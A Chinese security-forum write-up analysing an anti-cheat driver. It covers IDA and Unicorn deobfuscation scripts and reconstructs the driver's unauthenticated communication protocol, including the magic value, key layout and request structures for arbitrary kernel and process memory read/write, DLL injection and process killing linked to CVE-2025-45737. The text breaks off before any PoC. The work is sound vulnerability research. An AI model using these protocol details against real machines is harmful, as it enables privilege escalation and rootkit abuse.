首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
逆向工程
发新帖
2
9
[原创]某游戏大厂反作弊驱动分析:从代码去混淆到敏感行为还原,CVE-2025-45737任意内核读写漏洞复现、提权实验,附PoC
发表于: 7小时前
282
[原创]某游戏大厂反作弊驱动分析:从代码去混淆到敏感行为还原,CVE-2025-45737任意内核读写漏洞复现、提权实验,附PoC
__Shinn
2
7小时前
282
## 1. 写在前面 各位看雪论坛的朋友大家好,我是`__Shinn`,首先祝各位朋友国庆节快乐! 本文定位为`抛砖引玉`,分享一些`实验性质`的分析思路、代码验证方法,华中这几天降温有点猛,搞得有点小感冒,文章中如果存在表述不严谨、甚至出错的地方,欢迎在评论区指正 这篇笔记的由来是在中秋节的时候,当时在`刷CVE`相关的资讯,刷到了`CVE-2025-45737`,感觉比较有意思,便找朋友要了一份当时版本的驱动样本开始分析,但是中间比较忙,断断续续的写,所以拖到了今天发出来 本文涉及到的大部分工程文件已经整理好并开源到Github,欢迎给仓库Star ## 2. 文章目录速览 1. 写在前面 2. 分析开篇 3. 初始化函数全貌 4. 代码膨胀(算数查表网络) 5. 运行时解密,隐藏真实函数调用 6. 内部状态机打乱控制流(fla) 7. 代码入口、出口复用(微型分发器) 8. 字符串加密 9. 尝试IDA插件去混淆 10. 模拟执行解密函数调用 11. 还原真实函数调用(patch bytes) 12. 清洗代码膨胀 13. 去除代码混淆效果 14. 子初始化函数混淆处理 15. Flt通讯端口无鉴权 16. 驱动Flt通讯协议还原 17. 驱动功能函数分析 18. 任意内核地址读写(内核Shellcode) 19. 任意用户地址读写(跨进程读写内存) 20. 用户进程注入(内核态注入DLL) 21. 任意终止用户进程(强杀进程) 22. 笔者碎碎念 23. 顺便分析 24. 进程创建回调(ProcessNotifyEx) 25. 线程创建回调(ThreadNotify) 26. Ob句柄回调(进程、线程降权) 27. 部署假Cr3、半清空PML4E(不受信附加行为检测) 28. Hook nt!MmAccessFault 29. 扫描局部句柄表(ExEnumHandleTable) 30. Hal指针表完备性校验(Hal Hook检测) 31. PCIe BAR空间信息获取(检测DMA) 32. 反模拟器 33. 彩蛋1(赞美友商) 34. 彩蛋2(亲切问候) 35. 提权实验 36. 结束 37. Git开源仓库 ## 3. 分析开篇 1. 在IDA中,我们定位到函数入口点`DriverEntry`的代码处 2. 从IDA中的框图来看,可以确认的是`DriverEntry`仅仅是一个Stub函数,驱动的核心初始化逻辑并没有直接在`DriverEntry`中展开  3. 这是因为该驱动将`几乎全部`的驱动初始化操作都放在了`sub_140225000`函数中,并且接收参数分别为`DriverObject`、`RegistryPath`,如图所示  ## 4. 初始化函数全貌 1. 双击进去,会发现`sub_140225000`是一个`被混淆的巨型函数`,如果尝试使用IDA的代码反编译功能(F5),此时IDA报错信息如下  2. 我们从`IDA缩略图`窥探这个巨型混淆函数的全貌,可见其混淆强度,笔者初次看到时属实被惊到了  3. 我们用一个简单Py脚本,获取这个函数的基本信息: ```python TARGET = 0x140225000 f = ida_funcs.get_func(TARGET) n_insn = 0 ea = f.start_ea while ea < f.end_ea: n_insn += 1 ea = idc.next_head(ea, f.end_ea) n_blocks = len(list(ida_gdl.FlowChart(f))) print("函数 :", idc.get_func_name(f.start_ea)) print("指令数 :", n_insn) print("基本块数 :", n_blocks) print("平均每块 :", round(n_insn / n_blocks, 1), "条指令") ``` 4. 运行该脚本,可以看到该巨型函数有着`54567条指令`,只有`98个基本块`,甚至其中大部分还是`控制流平坦化`用到的跳转分发小块,实际上一个有效代码块大概有着`2000行`指令,这显然不是正常编译出来的产物  5. 在初步处理该函数、修改部分IDA运行参数后,IDA卡死很长一段时间后,终于得到了反编译(F5)的结果,单单一个函数内部就反编译出了`14000多行`代码,非常恶心的代码混淆、膨胀 6. 大量的算数运算、变量符号中`掺杂了少量`的真实业务代码,如图所示:   7. 该驱动对关键、敏感操作组合使用了`多种`代码混淆方式,目前笔者分析过程中,遇到了以下几种代码保护方式(包括但不限于,因为可能还有其他代码保护方式我没遇到): - 算数查表代码膨胀 - 加密真实函数调用 - 控制流平坦化,打乱代码控制流 - 字符串加密 ## 5. 代码膨胀(算数查表网络) 1. 我们回到`sub_140225000`开头处进行观察,会发现引用了2个只读全局变量`unk_140055796`、`unk_140055896`  2. 我们跳过去看看这2个全局变量存的是什么: - `unk_140055796`存的应该是一张表,存储内容为FF、FE、FD、FC、.....、3、2、1 - `unk_140055896`存的内容就有点迷惑了,里面的内容怎么全是0   3. 当笔者还在疑惑怎么表2内容全是0时,仔细一看才发现,将表2地址装载到r13寄存器`lea r13, unk_140055896`后,对r13后续访问方式如下图所示: 4. 原来这里的`unk_140055896`的作用只是提供一个`初始偏移`,后续访问表2内容时,要加上0xFB00、0x2100等偏移才是`正确表内容`  5. 我们观察`sub_140225000`函数的第一个大型分支块:  6. 我们可以发现该巨型分支,中间居然没有一条`跳转指令`,整个巨型块几乎全是`movxz`、`shl`、`shr`、`or`、`xor`、`sub`等算数运算操作,典型操作如下 ```c movzx r9d, byte ptr [rdx+r12] ; 从表里取一个字节 shr edx, 8 ; 右移 shl ebx, 8 ; 左移 or ebx, r9d ; 拼接 sub r12b, [r14+r13+3100h] ; 查表做减法 ``` 7. 这种做法的意图就非常明显了,用编译器生成的`2张静态表`、`几百条算数运算指令`,将编译时期加密的函数指针`重新解密`回来 8. 该函数的其他巨型分支块,也是使用了这种方法实现`代码膨胀` ## 6. 运行时解密,隐藏真实函数调用 1. 在驱动混淆部分代码中,存在大量类似如下形式的代码  2. 可以整理出如下形式 ```c INIT:000000014022B409 movsxd rax, EncFunc INIT:000000014022B410 xor rax, xor_key INIT:000000014022B416 add rax, fix_key INIT:000000014022B41D call rax ``` 3. 这部分的代码混淆属于`基础混淆`操作,甚至可以手算出真实调用,会配合`代码膨胀`使用,流程如下: - 取出加密后的函数:cs:dword_14021027C = 0x8932C73B - 对加密值符号拓展:rax = 0xFFFFFFFF8932C73B - 解密密钥:rax = 0x8932C73B ^ 0x36A43F00,计算结果rax = 0xFFFFFFFFBF96F83B - 修正密钥:cs:off_140210078 = 0x1808B0E0F - 修正函数指针:0xFFFFFFFF8932C73B + 0x1808B0E0F = 0x14022064A - 调用解密后函数:call reg 4. 这里得到的`0x14022064A`其实是一个正常、有效的函数指针,如图所示:  5. 通过这种方式可以做到`隐藏真实函数调用`,静态分析时会`严重干扰`IDA正常识别函数 ## 7. 内部状态机打乱控制流(fla) 1. 在观察完第一个巨型分支块后,我们观察这个块运行结束后的分支情况: 2. 会发现众多的巨型分支块,最终都会回到图中框选出来处的代码,这其实非常符合控制流平坦化(fla)中`主分发器`的特征,其余散落的小块是`子分发器`  3. 我们放大分支图,观察这些分散小块会发现: - r9d寄存器保存状态信息:表示下一步执行哪个代码块 - 大量使用`cmp r9d, xxx`、`jge xxx`实现逐层条件跳转 - 大多数巨型代码块,执行结束后回到统一主分发块`loc_140226A55`继续分发  4. 我们挑选一个巨型代码块的末尾来验证猜想:果然刷新了状态机数值,从而影响后续分支运行情况  ## 8. 代码入口、出口复用(微型分发器) 1. 我们回到`sub_140225000`函数头部继续观察,会发现一个表面看似无用的的"死代码"块`loc_14022504F`,这是因为函数首次调用时,必定会走向`右边分支`处,如图所示:  2. 在后续的`清洗代码混淆`步骤中,笔者差点踩坑,注意看该`loc_14022504F`公共块其实是有一条入边调用的,查看交叉引用后,定位到如下代码块: - 如下2个调用中,都会将`al = 1`  3. 当`al = 1`时,分发器会走向函数结束  ## 9. 字符串加密 1. 关于字符串加密,笔者找了一处字符串加密的例子,如图所示:  2. 非常典型自解密操作,汇编中全是`立即数`,构造128位的数据,之后xor解密,如图所示:  3. 测试解密得到的字符串如下所示(嗯?何意味?): ```c "failed to hook AllocVm"; ``` ## 10. 尝试IDA插件去混淆 1. 在分析有着`代码混淆`的二进制时,大多数分析者会自然地想到`D810`这位老朋友,但是很遗憾,在该驱动样本中直接使用`D810`插件,反复测试后都是IDA无限卡死,无法顺利去混淆 2. 好吧,那没招了,花点时间硬干吧 ## 11. 模拟执行解密函数调用 1. 通过笔者前文介绍,应该得知,驱动初始化函数`sub_140225000`内都是经过解密后再间接调用真实函数地址,经过查表运算后,会将真实函数地址解密出来,放在一个通用寄存器中,再`call reg`,但是麻烦的点在于代码被查表算数网络处理后,代码`膨胀异常严重`,通过`手动模拟解密的思路行不通了`,如图所示  2. 笔者此时注意到一个细节,这些膨胀后的巨型代码块,往往有着非常清晰的边界,即块开始、结束,如图所示:  3. 所以笔者这里就自然地想到一个思路,我们写一个Python脚本,将`sub_140225000`函数内所有的巨型代码块识别出来,以这些块为基本单位,再通过`模拟执行`代码的方式,就能算出解密后的真实函数地址 > 在本文中,笔者做实验的模拟器是<a href="elink@9d6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6#2L8X3W2U0L8%4u0F1i4K6u0V1k6h3&6Y4K9h3&6W2i4K6u0r3N6h3&6A6j5$3!0J5L8R3`.`.">Unicorn-engine</a>,经常参加CTF竞赛的朋友对这个库肯定相当熟悉。关于如何配置模拟器环境、模拟运行二进制机器码,这部分内容很基础,碍于文章篇幅,暂不展开,感兴趣的朋友可以在论坛里搜索相关文章阅读 4. 但是笔者很快意识到局限,这种针对某个单一函数所设计的脚本,通用性会不会很差? 5. 万一当前驱动样本中叠加使用了多种混淆方案、或者后续版本更新采用了新的混淆方案,那么Py脚本是不是也要同步更新? 6. 所以我们在动手设计分析脚本时,应该考虑到复用性。避免陷入:发现新问题-写新脚本-测试通过-样本更新-写新脚本-循环往复 7. 笔者这里最终使用的实验思路如下: - 我们回顾整个初始化函数,跳转控制跳转的指令非常少 - 不搞规则匹配,直接从函数头开始模拟,硬生生模拟到函数结束 - 当模拟代码时,遇到函数内部`call xxx`、`jz`、`jnz`等指令,直接跳过该指令,即`fall-through` - 当识别到`call reg`指令,即call通用寄存器,我们将此时的调用点位置、真实函数地址记录下来 8. 熟悉PE格式的朋友应该知道`文件对齐`、`内存对齐`导致问题,所以我们预处理一下驱动文件(.sys),将其内存对齐后保存为.bin文件,这样模拟器载入时,文件偏移、Rva就相等了,免去后续修正偏移的麻烦,如图所示:  9. 首先初始化Unicorn: ```python ImageBase = 0x140000000 ImageSize = 0x270000 FuncStart = 0x140225000 FuncEnd = 0x14025CE40 StackBase = 0x7FF000000000 StackSize = 0x40000 Rsp = StackBase + StackSize - 8 def RunEmulator(): emu = Uc(UC_ARCH_X86, UC_MODE_64) emu.mem_map(ImageBase, ImageSize) emu.mem_write(ImageBase, bytes(Image)) emu.mem_map(StackBase, StackSize) emu.reg_write(UC_X86_REG_RSP, Rsp) emu.hook_add(UC_HOOK_CODE, hook_code) emu.hook_add(UC_HOOK_MEM_UNMAPPED, hook_unmapped) try: emu.emu_start(FuncStart, 0) except UcError as Ex: print(f"[UcError] {Ex}") ``` 10. Unicorn Hook接管: ```python def hook_code(emu, addr, size, user_data): global Steps if addr >= FuncEnd: emu.emu_stop() return Steps += 1 ins = Decode(addr) mn = ins.mnemonic if mn == "call" and ins.operands[0].type == CS_OP_REG: Targets[addr] = emu.reg_read(Reg64[ins.reg_name(ins.operands[0].reg)]) if mn == "call" or mn.startswith("j") or mn in SkipMnem: emu.reg_write(UC_X86_REG_RIP, addr + ins.size) ``` 11. 避免Unicorn模拟崩溃: ```python def hook_unmapped(emu, access, addr, size, value, user_data): # 对齐 page = addr & ~0xFFF emu.mem_map(page, 0x1000) emu.mem_write(page, PageFill(page).to_bytes(8, "little") * 512) return True def PageFill(page): return 0x400000000000 | ((page & 0xFFFFF) << 16) | 0x5A ``` 12. 运行Py脚本,模拟器跑得还挺顺利,顺利解密出了真实函数调用  13. 再打开脚本日志看看,顺利解密出绝大部分函数调用,`足够支撑`我们后续的行为分析了: - 模拟执行步数:54567步 - 函数中寄存器间接调用次数:96处 - 解密成功数:成功解密91处,5处解密失败,静态解密成功率94.8% - 在当前函数中,有`call rax`、`call r8`、`call r10`三种形式的调用方式,大部分调用是`call rax`  ## 12. 还原真实函数调用(patch bytes) 1. 我们现在得到了`sub_140225000`函数中的真实调用函数,现在需要修补二进制,将被加密的函数调用点还原回去,该如何选择还原呢,笔者观察到一个明显的固定规则,如图所示:  2. 即每个寄存器间接调用点,都会有着以下规则: ```c add reg, rip_rel32 // ... call reg ``` 3. 因为`add reg, rip_rel32`机器码占7字节,而`lea reg, rip_rel32`所占机器码也是7字节! 4. 这不正好凑巧了嘛,我们可以算出来真实函数调用的Rip相对位置,直接在原代码的位置patch为`lea reg, xxxx`,这样IDA静态就能识别出真实的函数调用了 5. patch bytes脚本如下: ```python rows = json.load(open(JsonFile, encoding="utf-8-sig")) n = 0 for R in rows: if R["status"] != "resolved" or not R["new_bytes"]: continue ea = int(R["anchor_add"], 16) ida_bytes.patch_bytes(ea, bytes.fromhex(R["new_bytes"])) ida_auto.auto_make_code(ea) n += 1 print("[deobf] patched %d / %d" % (n, len(rows))) ``` 6. IDA中运行该脚本文件,顺利修补真实函数调用:  ## 13. 清洗代码膨胀 1. 既然现在已经顺利解密、还原真实函数调用了,那么原始代码中大量膨胀的算数查表网络代码,对我们来说就是无关的垃圾代码,继续留着是会严重影响我们分析函数流程,所以我们需要把这部分混淆代码干掉。在实际工作环境中,往往需要多方面考虑细节,但是笔者的目标是快速清洗混淆,笔者这里提一个`非常实验性质`的思路,识别垃圾代码规则如下: - 静态文件分析入手,识别出`sub_140225000`这个巨型函数各个块的起始、结束位置,以巨型块为清洗单位 - 每个巨型代码块,从起始位置扫描,找到首次引用表1unk_140055796、表2unk_140055896的代码段,从该代码段开始(避免误杀起始部分的初始化代码),直到第一个`call reg`,中间的代码视为垃圾代码 - 每一个`call reg`的前、后n行代码保留,尽可能保留参数传递、返回值信息 - 两个`call reg`之间的代码视为垃圾代码 - 最后一个`call reg`直到巨型块结束,之间的代码保留,这是因为控制流平坦化(fla)的缘故,每个巨型块的尾部会刷新状态机`Magic Number`,指示下一步运行到哪里 2. 笔者提出的识别规则,虽然表面看起来很粗暴,但是在本实验中,可以保证`不误杀`正常函数调用,这对于我们静态分析来说,还是很有实验价值的 3. 在识别出垃圾代码后,正常反应就是直接`Nop`掉不就行了?但是这里会引入`指令数暴涨`的问题,nop是单字节指令,无脑nop代码,会导致指令数从原本的`5.5万条`暴涨到`22万条`,这样哪怕清洗垃圾代码后,IDA的代码反编译(F5)功能也会巨卡无比 4. 所以笔者采用的是7字节Nop,可以规避这个缺陷: ```c 0F 1F 80 00 00 00 00 -> nop dword ptr ds:[rax], eax ``` 5. 部分关键代码如下: ```python Keep = set(range(0, Start)) # 块头到第一次碰表之前 for n, C in enumerate(Calls): Keep |= set(range(max(Start, C - HEAD_KEEP), C + 1)) # call 前 10 条 if n == len(Calls) - 1: Keep |= set(range(C, len(Block))) # 最后一个 call → 块尾,全保留 else: Keep |= set(range(C, min(C + 1 + TAIL_KEEP, len(Block)))) # 中间 call 后 5 条 for j in range(Start, len(Block)): if j not in Keep: Ranges.append((Block[j].address, Block[j].size)) # 其余全部当垃圾 ``` 6. 效果如下所示,顺利清洗掉了垃圾代码(左、右对比):  ## 14. 去除代码混淆效果 1. 到了这一步,我们来检验去混淆的成果吧,下图为原始代码,函数反编译有`14000多行`代码  2. 去混淆后,再次反编译该函数,只剩下`600多行`代码,我们可以清晰观察出函数主干调用了哪些函数、参数信息是什么  3. 该驱动样本的混淆方式基本上都是这个套路,后续将`不再赘述`处理过程 ## 15. 子初始化函数混淆处理 1. 目前已知`sub_140225000`是整个驱动的初始化函数,并且是代码混淆最严重的函数,但是我们目前已经`成功去混淆`了,接下来正式开始还原该驱动的敏感行为 2. 在`sub_140225000`整个总初始化函数中,又调用了子函数`sub_140265751`,并且将`DrvObj`、`RegPath`作为参数原本传了进去,非常值得分析  3. 双击过去看看内部实现,不出所料,又是`加密调用` + `代码膨胀` + `控制流平坦化`,如图所示:   4. 模拟执行代码,该函数有21个寄存器间接调用函数,全部解密成功:  5. 不再赘述处理中的各过程操作,放出处理后结果,能看到非常清晰的初始化流程:  ## 16. Flt通讯端口无鉴权 1. 我们来看代码,该驱动样本很显然注册了`FltCommPort`实现驱动`双向通讯`,并非采用传统`基于设备对象的通讯`IOCTL  2. 调用`RtlSetDaclSecurityDescriptor`时,直接将r8寄存器清空,即参数`pDacl`直接传NULL,该函数MSDN文档如下: ```c NTSYSAPI NTSTATUS RtlSetDaclSecurityDescriptor( [in, out] PSECURITY_DESCRIPTOR SecurityDescriptor, [in] BOOLEAN DaclPresent, [in, optional] PACL Dacl, [in, optional] BOOLEAN DaclDefaulted ); ``` 3. 这里直接引用MSDN文档的`警告信息`,将`PACL = NULL`,`任何用户态进程`都可以自由地访问该端口  4. 我们继续看调用`FltCreateCommunicationPort`注册通讯端口:  5. 我们重点关注其中的`sub_14001F649`回调,也就是`ConnectNotifyCallback`,该函数没有混淆,直接看汇编分析: - 判断打开端口时,输入缓冲区大小是否为`40字节` - 判断用户输入缓冲区的前4字节,判断标识符`Magic = FUCK`是否成立(ps:原汇编真就是怎么写的) - 判断用户输入缓冲区的前5-8字节,是否等于8 - 满足以上条件时,就会校验通过,返回成功  6. 笔者给出的风险评价:任何用户态进程(`无需管理员权限`)、在简单伪造输入缓冲区后,就可以打开该反作弊驱动的Flt端口,进而调用各种驱动能力(该驱动有哪些能力,笔者在下文会详细分析),居然没有任何`签名`、`令牌校验` 7. 既然到了这里,简单还原一下创建通讯端口的协议格式,`尾部32字节`定义会在下一章节中分析 ```c typedef struct _xxx_ANTI_CHEAT_PACK { ULONG Magic1; ULONG Magic2; UCHAR Reserved[32]; } xxx_ANTI_CHEAT_PACK; ``` 8. 撑不住了,这章先写到这里吧,驱动通讯协议这部分估计得拆分出2章来写,干饭去 ## 17. 驱动Flt通讯协议还原 1. ok吃完饭回来了,接着码字 2. 上一章节中,我们知道了该驱动是如何判断调用来源是否受信的,在校验通过后,会将缓冲区的后32个字节分别保存下来,这32个字节其实就是后续驱动通讯时的`动态解密密钥`,这个动态密钥是首次打开端口是由R3进程自定义的  3. 到了这里,该驱动的通讯协议的字段内容就明了了,如下所示: ```c typedef struct _xxx_ANTI_CHEAT_PACK { ULONG Magic1; ULONG Magic2; UCHAR XorKey1[16]; UCHAR XorKey2[16]; } xxx_ANTI_CHEAT_PACK; ``` 4. 我们继续看调用`FltCreateCommunicationPort`注册通讯端口时的代码,这里我们要关注`sub_14001CA31`回调,即`MessageNotifyCallback`  5. 双击跳过去分析,该函数也没有混淆,直接看汇编 - 根据输入缓冲区大小分配内存 - 探测R3内存是否可读 - 安全地将R3缓冲区复制到R0  6. 之后调用`sub_14001CB8D`,使用`静态常量密钥`第一次解密用户输入缓冲区数据,这部分代码直接把汇编扣出来(头部、尾部`/GS`相关代码去掉、再处理重定位)就能用在PoC工程上  7. 之后再使用`xmmword_140216B10`中保存的自定义动态密钥,进行第2次解密  8. 用户输入数据解密完成后,会进行如下操作: - 取出缓冲区第一个UCHAR成员,判断是否小于72,这里推测是`函数功能号判断`,即`FuncIndex` - 将函数功能号扩大16倍,即FuncIndex *= 16,这里是因为回调函数派遣表,其中每个成员大小为16字节 - 调用函数功能  9. 分析到这里,我们得知该驱动向R3暴露出了72个功能函数,全部保存在全局变量`unk_1402102C0`中,我们跳过去看看数据结构长啥样,结构很清晰,可以还原为如下结构: ```c typedef struct _xxx_FUNC_DISPATCH_TABLE_ENTRY { UCHAR FuncIndex; UCHAR Reserved[7]; PVOID FuncEntry; }xxx_FUNC_DISPATCH_TABLE_ENTRY; ```  10. 到了这里,该驱动的协议部分我们就分析完成了,笔者笔者画了个`粗糙的流程图`,供各位朋友理解(部分零碎细节隐藏了,但是大体流程是对的):  ## 18. 驱动功能函数分析 1. 碍于文章篇幅,笔者不会将72个功能函数分析全部写上来,只重点分析、讲解那些可能会被用来`Rootkit开发`、`病毒本地提权`的高危 / 风险函数 2. 后续分析章节中,会按照风险程度`从高到低`进行编写 ## 19. 任意内核地址读写(内核Shellcode) 1. 我们来分析`CMD 70`对应的回调`sub_140018DEE`,这是`任意内核地址写`漏洞的来源:  2. 我们来分析`sub_140018DEE`,首先获取了先前模式`PreviousMode`后,调用`sub_14003DDA2`子函数,将`R3自定义缓冲区`通过`MDL映射`一份到R0,保证安全访问R3内存:  3. 从用户输入缓冲区中,取出内核线性地址,使用`MmIsAddressValid`判断是否有效  4. 检查通过后调用`mem_copy`(这个是笔者分析后,重命名的函数),将用户自定义数据写入目标内核地址处  5. 通过以上分析,我们来还原这个命令所对应的解析协议,如下所示: ```c typedef struct _xxx_WRITE_KERNEL_MEM { UCHAR FuncIndex; // 功能号,70 PVOID DestAddr; // 内核态线性地址 PVOID UserBuffer; // 用户输入缓冲区 ULONG UserBufLen; // 缓冲区长度 }xxx_WRITE_KERNEL_MEM; ``` 6. 通过以上分析,我们可以发现,该功能回调没有任何`鉴权检查`,构造好通讯协议包发命令就能`写任意内核地址` 7. 我们继续来分析,其中的`读任意内核地址`漏洞来源的`CMD 14`回调,即`sub_140018E75`函数:  8. 我们来分析一下这个函数`sub_140018E75`: - 检查用户输入指针是否合法 - MDL映射用户输入指针  9. 将执行内核线性地址处的数据拷贝到R3缓冲区:  10. 通过以上分析,我们来还原这个命令所对应的解析协议,如下所示: ```c typedef struct _xxx_READ_KERNEL_MEM { UCHAR FuncIndex; // 功能号,14 // 内核态线性地址,通过FilterSendMessage参数4指定 // PVOID DestAddr; PVOID UserBuffer; // 用户输入缓冲区 ULONG UserBufLen; // 缓冲区长度 }xxx_READ_KERNEL_MEM; ``` 12. 通过以上分析可知,该驱动可以向用户态进程提供`读写任意内核地址`的功能,并且这些功能没有任何`鉴权`行为 ## 20. 任意用户地址读写(跨进程读写内存) 1. 我们来分析`CMD 61`对应的回调`sub_14001C565`,这是`写用户态进程内存`漏洞的来源:  2. 先判断目标用户态地址是否小于`MmHighestUserAddress`:  3. 之后就是经典`附加进程`、`MDL映射`实现写进程内存:  4. 关于`读用户态进程内存`漏洞的来源,则是`CMD 9`,对应的回调函数是`sub_1400187A6`,其中代码跟写实现大差不差,就不重复赘述了,笔者还原这个命令所对应的解析协议,如下所示: ```c typedef struct _xxx_RW_USER_MEM { UCHAR FuncIndex; // 功能号,9、61 ULONG ProcessId; // 目标进程Id PVOID DestAddr; // 目标地址 ULONG UserBufLen; // 读、写长度 }xxx_RW_USER_MEM; // 剩下参数通过FilterSendMessage调用时指定 ``` 5. 笔者在这些年学习、工作中,分析过不少`灰产驱动`、`Rootkit驱动`,此时不禁恍惚了一下,**我没开错IDB样本吧**?一个正经游戏大厂开发的`反作弊驱动`,怎么会导出这么敏感的功能函数,而且同样没有任何`鉴权`行为 ## 21. 用户进程注入(内核态注入DLL) 1. 此处漏洞的起点为`CMD 24`,其回调为`sub_140019CB3`,该函数的作用就是由R3下发DLL路径,保存到全局变量`word_140219BB0`中,代码分析过程如下:  2. 既然已知`word_140219BB0`保存DLL路径,那么查看xref,看看哪里引用了,这里定位到`sub_1400355BF`,这个函数其实是`镜像创建回调`,佐证如下:  3. 在`镜像加载回调`中,判断本次映射的镜像是不是`ntdll.dll`,如果是就调用`sub_140224380`解析导出表,这里字符串被加密了  4. 搞个Py脚本解密,得到`ZwProtectVirtualMemory`、`LdrLoadDll`、`ZwTestAlert`三个函数名:  5. 详细注入流程涉及到的代码较多,放图的估计由十几张,所以这里笔者大概讲一下注入流程: - 在`ntdll.dll`解析三个函数的Rva,其实就是手搓了一个R3的`GetProcAddress` - 构造`跳板Shellcode`(自卸载、一次性Hook),跳板中会构造`LdrLoadDll`所需的参数 - 修改`ZwTestAlert`内存保护属性(RWX),挂Inline Hook,跳转到跳板Shellcode - `ZwTestAlert`被调用,就会加载自定义的DLL - 从Win Xp开始,一个进程初始化时,`ntdll.dll`基本上是第一个被加载的DLL,所以这个注入DLL的`时机非常早` - 注入结束,恢复`ZwTestAlert`钩子、页面所在内存保护属性 ## 22. 任意终止用户进程(强杀进程) 1. 我们来分析`CMD 61`对应的回调`sub_14003D767`,这是`强杀任意目标用户进程`漏洞的来源:  2. 取出用户输入的进程Pid,检查Pid是否小于5  2. 继续分析代码,获取了目标进程`EPROCESS`  3. 接下来做了这些动作: - 通过进程内核对象获取目标进程句柄 - 获取目标进程主模块地址 - 暴力卸载目标进程主模块 - 再调用一个子函数`sub_14004531B`  4. 我们进到`sub_14004531B`继续分析,该函数逻辑十分简单,判断、调用`qword_140219E70`该全局函数指针变量  5. 该全局变量是在运行中填充的,此时我们并不知道调用了什么函数,查看交叉引用也`找不到赋值点`:  6. 不过问题不大,把驱动运行起来,双机调试一下,对着这个变量下`硬件写入断点`,断下来后WinDbg如图所示,原来是运行时动态导入了`nt!NtTerminateProcess`函数  7. 现在我们知道该驱动强杀进程的手法是`卸载目标进程主模块`+`常规结束进程`,笔者还原这个命令所对应的解析协议,如下所示: ```c typedef struct _xxx_KILL_USER_PROCESS { UCHAR FuncIndex; // 功能号,20 ULONG ProcessId; // 目标进程Id }xxx_KILL_USER_PROCESS; ``` 8. 该驱动样本,通过这种动态导入内核函数方式调用,可以抹去静态导入导致IAT留痕的问题 ## 23. 笔者碎碎念 1. 分析到了这里,该驱动样本的`高风险点`差不多写完了,按照笔者这些年的分析经验,笔者给出判断:该大厂反作弊驱动所提供的内核能力,完成足够支撑各种`灰产`、`Rootkit`开发,该项目组成员日常`技术评审`、`Code Review`时没发现这些风险点吗? 2. 更关键的是,该驱动通过微软`WHQL认证`,导致很大部分的`杀软`、`EDR`、`友商AntiCheat`在安全性校验时,直接列入白名单列表了  ## 24. 顺便分析 1. 笔者比较宅,不爱出门,正好现在国庆假期,所以就继续分析下去,把这份`笔记完善`一下 2. 今天先写到这里吧,熬不动了,睡觉了 ## 25. 进程创建回调(ProcessNotifyEx) 1. 进程回调中,会判断新创建的进程名,是不是`CrossF???.exe`、`D?F.exe`等等友商游戏,如果是就设置错误码`C0000022`拒绝运行 2. 笔者这里判断:是因为考虑到这些游戏运行后,`友商AntiCheat`驱动也会运行,可能会导致冲突、蓝屏  ## 26. 线程创建回调(ThreadNotify) 1. 线程回调中,会调用`ZwQueryInformationThread`查询`ThreadQuerySetWin32StartAddress`,获取本次函数的启动地址,笔者推测可能用于判断是不是`Shellcode线程`  2. 堆栈回溯调用方,同时回溯用户态、内核态堆栈,这里固定回溯32层:  ## 27. Ob句柄回调(进程、线程降权) 1. 先看`Ob进程句柄`创建回调,会判断当前打开目标进程Pid,如果与被保护游戏Pid一致,就抹除`PROCESS_VM_READ`权限  2. 再看`Ob线程句柄`创建回调,如果是打开被保护游戏的线程局部,就抹除`THREAD_SUSPEND_RESUME`、`THREAD_SET_CONTEXT`,意图很明显,限制`线程劫持`、`硬件断点`等等操作  ## 28. 部署假Cr3、半清空PML4E(不受信附加行为检测) 1. 在`sub_140041C3E`函数中,首先取出原始Cr3,并抹去属性位  2. 在这份驱动样本中,并没有使用常规的`MmMapIoSpace`+`memcpy`来复制原PML4T中所有表项,步骤如下: - 分配一段4kb`悬空的线性地址` - 在驱动初始化时计算得到`PTEBase`、`PML4_Base` - 驱自映射PTE,将步骤1得到的线性地址映射为Cr3的`PML4_View` - 后续使用这个`PML4_View`正常拷贝内存即可  3. 分配一块页面内存,使用构造好的`PML4_View`直接内存拷贝,把原PML4T中512个表项`完整复制`一份  4. 再将`FakeCr3`一半的`PML4E`清空,也就是将低半部分用户态内存映射给置为`NoPresent`,之后将`FakeCr3`设置到目标进程`EPROCESS`下:  5. 在设置好`蜜獾FakeCr3`后,有线程附加后、访问用户态内存,就会触发`#PF`异常 ## 29. Hook nt!MmAccessFault 1. 在上一小节中,已知该驱动会给目标进程部署`假Cr3`保护,当有第三方驱动尝试绕过正常句柄的方式,通过内核附加进程实现各种进程控制操作,都会触发`#PF`保护,但是该厂商并没有直接对`nt!MmAccessFault`下Inline Hook,这种Hook包PG的 2. 该驱动在初始化时,会动态导入`MmAccessFault`函数地址,在合适的时机安装钩子:  3. 上图中引用的全局变量`qword_140219FF8`保存的就是`MmAccessFault`函数地址,`WinDbg`调试如下:  4. 在当前驱动版本中,有着`Hv Hook`、`IDT Hook`、`MmAccessFault Inline Hook`等多种安装钩子的代码,其中`vmcall`如下所示  5. 在`MmAccessFault`钩子函数中,会判断触发异常的Cr3是不是`蜜獾Cr3`,如果是就`静默修复`#PF,并将本次异常事件记录、上报 ## 30. 扫描局部句柄表(ExEnumHandleTable) 1. 在`CMD 37`中对应的回调函数`sub_14001A8F2`,是扫描目标进程的局部句柄表,这里限制只能扫描Pid > 5的进程:  ## 31. Hal指针表完备性校验(Hal Hook检测) 1. 在`CMD 66`中对应的回调函数`sub_14001C90E`,获取`HalPrivateDispatchTable`并循环检查其中每一项,是否落在微软驱动模块(ntoskrnl.exe、hal.dll等微软签名的驱动)的可执行代码节区中,关于这部分内容,笔者没有深入分析,直接放出F5后的整体代码,从行为来看就是检查Halxxx函数指针是否被窜改,有可能用来检测`ETW Hook`  ## 32. PCIe BAR空间信息获取(检测DMA) 1. 在`CMD 69`中对应的回调函数`sub_14001C90E`,内部会调用`HalGetBusDataByOffset`获取PCIe设备BAR信息,笔者推测是用来检测`DMA物理外设`作弊  ## 33. 反模拟器 1. 在使用模拟器跑该驱动样本时,如果从`DrvEntry`开始跑,模拟器会抛出异常,如图所示:  2. 观察模拟器中崩溃时的堆栈,可以发现最后调用了`MmGetSystemRoutineAddress`获取`MmGetVirtualForPhysical`函数地址,模拟器中返回了一个虚拟值`0xffff800000000e20`,之后调用了函数`RtlCompareMemory` 3. 